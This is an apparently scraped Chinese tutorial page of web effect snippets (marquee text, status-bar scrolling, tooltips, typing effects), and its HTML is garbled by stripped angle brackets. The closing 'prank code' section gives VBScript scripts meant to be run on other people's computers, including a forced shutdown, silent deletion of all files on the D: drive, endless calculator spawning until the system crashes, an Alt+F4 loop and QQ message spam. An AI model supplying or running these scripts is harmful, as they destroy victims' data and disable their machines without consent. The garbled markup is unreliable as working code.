html网页特效代码大全(html5特效代码免费)

http://www.itjxue.com  2023-02-15 00:48  来源:未知  点击次数: 

谁能告诉我一些有用的网页特效代码啊?

!--STATUS OK--

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

link rel="alternate" type="application/rss+xml" title="“谁能告诉我一些有用的网页特效代码啊?”的最新回答(RSS 2.0)" href=";qid=2601349pn=65535rn=25tn=rssqb"

title谁能告诉我一些有用的网页特效代码啊?_百度知道 /title

style type="text/css"

!--

a.f12og:link{color:#ff6600}

a.f12og:visited{color:#ff6600}

--

/style

link href="/iknow.css" rel="stylesheet" type="text/css"

script language="JavaScript" type="text/JavaScript"

function ask(fn)

{document.fask.word.value=fn.word.value;

fask.submit();

}

/script

/head

body class="bgbdy" topmargin="0"

center

table width="770" border=0 align="center"

tbody

tr

td width="150" valign=topa href="/"img src="" border="0"/a/td

td height="55" style="table-layout: fixed; word-break: break-all"table cellspacing=0 cellpadding=0 border=0

tr

td nowrap class="tab"a href="" class="headTit"新闻/a???a href="" class="headTit"网页/a???a class="headTit" href=""贴吧/a???font class="headTitB"知道/font???a class="headTit" href=""MP3/a???a class="headTit" href=""图片/a/td

/tr

/table

table border="0" cellspacing="0" cellpadding="0"

tr

form action="/q" name="ftop" method="get"

td nowrap

input class=formfont maxlength=256 tabindex=1 size=42 name=word

/td

td width="30" valign="bottom" nowrapdiv align="right"span style="padding-bottom:15px; "a href=""帮助/a/span/div/td

/tr

/table

table cellspacing=0 cellpadding=0 border=0

tr valign="bottom"

td height="28" nowrap input type="submit" tabindex=2 value="搜索答案" class="bnsrh"

/td

td width="86" nowrap div align="right"

input type="hidden" name="ct" value="17"

input type="hidden" name="pn" value="0"

input type="hidden" name="tn" value="ikaslist"

input type="hidden" name="rn" value="10"

input type="button" onclick="ask(ftop);" tabindex=3 value="我要提问" class="bnsrh"

/div/td /form

/tr

/table

form name="fask" action="/q" method="get" input type="hidden" name="ct" value="17"input type="hidden" name="pn" value="0"input type="hidden" name="tn" value="ikask"input type="hidden" name="rn" value="10"input type="hidden" name="word" value="" input type="hidden" name="cm" value="1"input type="hidden" name="lm" value="394496"/form

/td/tr

/table

script

var url = escape(location.href);

function ctlSubmit(event) {

if (event.ctrlKey event.keyCode == 13) { fdf.submit() }

}

function checkco(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;}}

function limitpl(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.co,des,200);}

function checkcoAndsn(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.sn,"参考资料",60);

dw横向文字滚动代码是什么?

我给你一个代码,你仔细看看就明白了。 加粗的地方是你要输入的内容 网页特效_跑马灯特效代码大全

实现跑马灯的方法很多,其中最简单的是采用一句Html代码来实现,我们在需要出现跑马灯效果的地方插入“marquee滚动的文字/marquee”语句适当的运用marquee标签的参数,可以表现出不同的效果,请看下面的几个例子:1、左右弹来弹去的跑马灯实现的方法就是在IE的标签上稍微多加了几个参数产生了更加丰富的变化。设置behavior=alternate表示双向移动,direction=left表示运动方向向左。marquee的宽度可以使用绝对象素值,例如width=200等这个值限定了跑马灯滚动的范围。需要说明的是该效果在Netscape下是看不到的。源码:marquee width=400 behavior=alternate direction=left align=middle border=1弹来弹去跑马灯!/marquee

2、跑的很快的跑马灯只要在marquee标签内加上“scrollamount=30”参数即可。

3、带有超级链接的跑马灯其实实现的方法很简单,把整个marquee/marquee语句包含在超链接中就行,你看看下面的代码就清楚了。当然你也可以把包含在marquee/marquee中的各条内容分别加上不同的链接,这样的跑马灯用来发布滚动新闻或是做站点导航再合适不过了。源码粘贴框:marquee width=90%

a href="/Article/Index.html" target=_blank带有超链接的跑马灯!点我试试?/a

a href=" " target=_blank还有一条呢!点我试试?/a

/marquee 以上几个例子都是marquee标签参数的应用,下面把所有可以利用的参数列在表中供你参考,不过还是要提醒你,marquee标签只被IE所支持,使用Netscape浏览器是看不到的噢。参数 用法介绍

behavior=scroll, slide, alternate 跑马方式:循环绕行,只跑一次就停住,来回往复运动

direction=left,right 跑马方向:从左向右,从右向左

loop=100 跑马次数:循环100次,如不写默认为一直循环

width=100%,height=200 跑马范围:宽为100%,高为200像素

scrollamount=20  跑马速度:数越大越快

scrolldelay=500  跑马延时:毫秒数,利用它可实现跃进式滚动

hspace=20,vspace=20 跑马区域与其它区域间的空白大小

bgcolor=#00FFCC  跑马区域的背景颜色 你已经看到,尽管marquee参数不少,单毕竟不能实现复杂的和自定义的特殊跑马灯效果,而且还有浏览器限制,所以我们更多情况下会采用JavaScript来实现跑马灯,那就是我们下一个技巧的内容。这里向你介绍几个用JavaScript实现的较复杂的跑马灯,你只须把源码粘贴框中的代码按照说明复制的指定的位置就能看到跑马灯的效果。

1、状态栏中的跑马灯在默认状态下浏览器的状态栏中显示的是链接指向信息,给人的感觉很单调。如果我们把问候语或是站点的介绍放在状态栏中滚动显示,一定能取得很好的效果。源码粘贴框:1、将以下代码放在head与/head之间:script LANGUAGE="JavaScript"

!-- Begin

var Mes=new Array();

Mes[0]="酷络网欢迎你! ";

Mes[1]="感谢你关注酷络网络学院 ";

Mes[2]="网页特效 之 跑马灯大全 ";

var place=1;

var i=0;

function scroll()

{

window.status=Mes[i].substring(0, place);

if (place = Mes[i].length)

{

if(i2)

{

i++;

place=1;

window.setTimeout("scroll()",50);

}

else

{

i=0;

place=1;

window.setTimeout("scroll()",50);

}

}

else {

place++;

window.setTimeout("scroll()",50);

}

}

// End --

/script2、在body标签内加入onload 语句:body onload="scroll();" 实现步骤:

(1)首先将JavaScript代码复制到head与/head之间,这段代码中包含了scroll()函数,它是实现跑马灯的主体代码。我们可以修改mes[]数组的值来改变跑马灯的内容,你也可以显示更多条的信息,不过代码中i的值应等于信息的条数,也就是等于mes[]数组的维数;

(2)然后在body标签中加入onload()语句即可。2、超链接的跑马灯式提示信息把你的“老鼠”移到下面链接上试一试,有什么不同呢?原来弹出了一条跑马灯式的提示信息,这是怎么实现的呢,请接着看:源码粘贴框:1.将下面代码放在body标签下:script

if (!document.layers!document.all)

event="test"

function showtip2(current,e,text){if (document.alldocument.readyState=="complete"){

document.all.tooltip2.innerHTML='marquee style="border:1px solid black"'+text+'/marquee'

document.all.tooltip2.style.pixelLeft=event.clientX+document.body.scrollLeft+10

document.all.tooltip2.style.pixelTop=event.clientY+document.body.scrollTop+10

document.all.tooltip2.style.visibility="visible"

}else if (document.layers){

document.tooltip2.document.nstip.document.write('b'+text+'/b')

document.tooltip2.document.nstip.document.close()

document.tooltip2.document.nstip.left=0

currentscroll=setInterval("scrolltip()",100)

document.tooltip2.left=e.pageX+10

document.tooltip2.top=e.pageY+10

document.tooltip2.visibility="show"

}

}

function hidetip2(){

if (document.all)

document.all.tooltip2.style.visibility="hidden"

else if (document.layers){

clearInterval(currentscroll)

document.tooltip2.visibility="hidden"

}

}function scrolltip(){

if (document.tooltip2.document.nstip.left=-document.tooltip2.document.nstip.document.width)

document.tooltip2.document.nstip.left-=5

else

document.tooltip2.document.nstip.left=150

}/script2.然后在要出现提示信息的链接中,添加onMouseover语句:a href="pm23.htm" onMouseover="showtip2(this,event,'用marquee实现的各式跑马灯')" onMouseout="hidetip2()"跑马灯大全(一)/a

a href="/pc/index.htm" onMouseover="showtip2(this,event,'最多最全的电脑交互教程')" onMouseout="hidetip2()"电脑交互教程/a

a href="pmjq00.htm" onMouseover="showtip2(this,event,'点滴技巧装扮你的家')" onMouseout="hidetip2()"网页制作技巧技巧/a 实现步骤:

(1)先在body标签下面插入一段JavaScript代码;(2)然后在需要实现跑马灯式提示信息效果的超链接中加入Onmouseover和Onmouseout语句。

求网页特效代码

打字效果的文字特效[修改显示的文字即可]

[根据下面的说明进行共1步]

====2、以下代码放在HTML的body/body之间[适当的位置]:

script language=javascript

var layers =document.layers,style=document.all,both=layers||style,idme=908601;

if(layers){layerRef='document.layers';styleRef ='';}if(style){layerRef='document.all';styleRef =

'.style';}

function writeOnText(obj,str){

if(layers)with(document[obj]){ document.open();document.write(str);document.close();}

if(style)eval(obj+'.innerHTML=str'); }

var dispStr=new Array("javascript源码大全");

var overMe=0;

function txtTyper(str,idx,idObj,spObj,clr1,clr2,delay,plysnd){

var tmp0=tmp1= '',skip=100;

if (both idx=str.length) {

if (str.charAt(idx)==''){ while(str.charAt(idx)!='') idx++;idx++;}

if (str.charAt(idx)==''str.charAt(idx+1)!=' '){ while (str.charAt(idx)!= ';')idx++;idx++;}

tmp0 = str.slice(0,idx);

tmp1 = str.charAt(idx++);

if (overMe==0 plysnd==1){

if (navigator.plugins[0]){

if(navigator.plugins["LiveAudio"][0].type=="audio/basic" navigator.javaEnabled()){document.embeds

[0].stop();

setTimeout("document.embeds[0].play(false)",100);}

} else if (document.all){

ding.Stop();

setTimeout("ding.Run()",100);}

overMe=1;}else overMe=0;

writeOnText(idObj, "span class="+spObj+"font color='"+clr1+"'"+tmp0+"/fontfont color='"+clr2

+"'"+tmp1+"/font/span");

setTimeout("txtTyper('"+str+"', "+idx+", '"+idObj+"', '"+spObj+"', '"+clr1+"', '"+clr2+"', "+delay+" ,"+plysnd+")",delay);}}

function init(){txtTyper(dispStr[0], 0, 'ttl0', 'ttl1', '#339933', '#99FF33', 300, 0);}

/script

BODY onload=init()

DIV class=ttl1 id=ttl0/DIV

/BODY

整人代码大全

01

【代码一】

你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。

代码如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

02

【代码二】

我就用这个程序放在学校图书馆查询书刊的机器上,好多人都拿它没办法。

do

msgbox "You are foolish!"

loop

03

【代码三】

打开无数个计算器,直到死机。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

04

【代码四】

直接关机。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

05

【代码五】

删除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

06

【代码六】

不断弹出窗口

while(1)

msgbox "哈哈 你被耍了!"

loop

07

【代码七】

不断按下alt+f4(开什么都关闭)。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

08

【代码八】

按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)。

dim s

do until s=500

s=s+1

msgbox "哥们,给我按500次回车吧",64

loop

09

【代码九】

如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的

时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"

10

【代码十】

网页整人效果代码,想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title

/head

body

a href="" onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗?');

alert('你把我的话当什么了?');

alert('你知道错了吗?');

alert('什么?你居然....');

alert('居然还没意识到自己做错了?');

alert('那好,你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('什么?你开始有点后悔了?');

alert('何必呢?');

alert('你当初干什么去了?');

alert('不原谅你!');

alert('好从现在开始再点995下......');

alert('你的手开始累了吗?');

alert('什么?你已经没力气了?');

alert('你一直在求我原谅你啊!');

alert('看来你是真的知道错了!');

alert('下次你还会这么做吗?');

alert('真的不会了?');

alert('那好,今天就放你一马!');

alert('写封信给我说声对不起!');

alert('你能这么做我很高兴!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a

/body

/html

(责任编辑:IT教学网)

更多

推荐word文章